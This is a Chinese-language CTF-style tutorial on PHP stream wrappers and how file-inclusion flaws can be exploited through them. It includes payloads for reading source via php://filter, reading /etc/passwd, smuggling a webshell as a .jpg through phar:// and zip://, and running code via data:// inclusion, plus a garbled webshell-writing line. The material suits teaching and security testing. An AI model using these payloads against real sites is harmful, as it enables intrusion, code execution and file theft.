PHP伪协议相关

PHP伪协议

PHP伪协议,事实上是其支持的协议与封装协议。

而其支持的协议有:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
php://  访问各个输入/输出流(I/O streams)
file://  访问本地文件系统
phar://  PHP 归档
zlib://  压缩流
data://  数据(RFC 2397
http://  访问 HTTP(s) 网址
ftp://  访问 FTP(s) URLs
glob://  查找匹配的文件路径模式
ssh2://  Secure Shell 2
rar://  RAR
ogg://  音频流
expect://  处理交互式的流

 

php://协议

php://filter

php://filter是一种元封装器, 设计用于数据流打开时的筛选过滤应用。

常用于读取源代码并进行base64编码输出,不然源码会直接当做PHP代码执行,这样的话就看不到源代码内容了。并且不受allow_url_fopenallow_url_include的影响。

用法:

1
php://filter/read=convert.base64-encode/resource=xxx.php

这是使用的过滤器是convert.base64-encode,它的作用就是读取xxx.php的内容进行base64编码后输出。

 

php://input

php://input是个可以访问请求的原始数据的只读流。

可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post的形式进行输入的目的。

CTF中经常使用file_get_contents获取php://input内容(POST),需要开启allow_url_include,并且当enctype=”multipart/form-data”的时候 php://input是无效的。

也用来写一句话木马:

1
2
#写入
<?php                                                         ?>');?>

 

file://协议

file://

file://文件系统是PHP使用的默认封装协议。

常用于访问本地文件系统,通常用来读取本地文件的且不受allow_url_fopenallow_url_include的影响。

用法

1
2
file:// [文件的绝对路径和文件名]
file:///etc/passwd

注:file://协议必须是绝对路径

 

phar://协议

phar://

phar:// PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用。

1
shell.php(一句话木马)->压缩成shell.zip->改后缀为shell.jpg->上传->访问phar://shell.jpg/shell.php

 

zlib://协议

zip://

zip://allow_url_fopenallow_url_include都关闭的情况下可以正常使用,使用如下:

1
2
file.php?file=zip://#[压缩文件绝对路径]#[压缩文件内的子文件名]
file.php?file=zip://#shell.jpg#shell.php  	其中get请求中#需要进行编码,即%23

 

bzip2://

allow_url_fopenallow_url_include都关闭的情况下可以正常使用,使用如下:

1
2
3
file.php?file=compress.bzip2://shell.bz2
file.php?file=compress.bzip2://./shell.jpg
file.php?file=compress.bzip2:///var/WWW/html/shell.jpg

 

zlib://:在allow_url_fopenallow_url_include都关闭的情况下可以正常使用,使用如下:

1
2
3
file.php?file=compress.zlib://shell.gz
file.php?file=compress.zlib://./shell.jpg
file.php?file=compress.zlib:///var/WWW/html/shell.jpg

 

data://

data://资源类型;编码,内容,数据流封装器

allow_url_fopenallow_url_include打开的时候,任意文件包含就会成为任意命令执行

1
2
3
4
file.php?file=data://text/plain,<?php phpinfo()?>
file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
file.php?file=data:text/plain,<?php phpinfo()?>
file.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=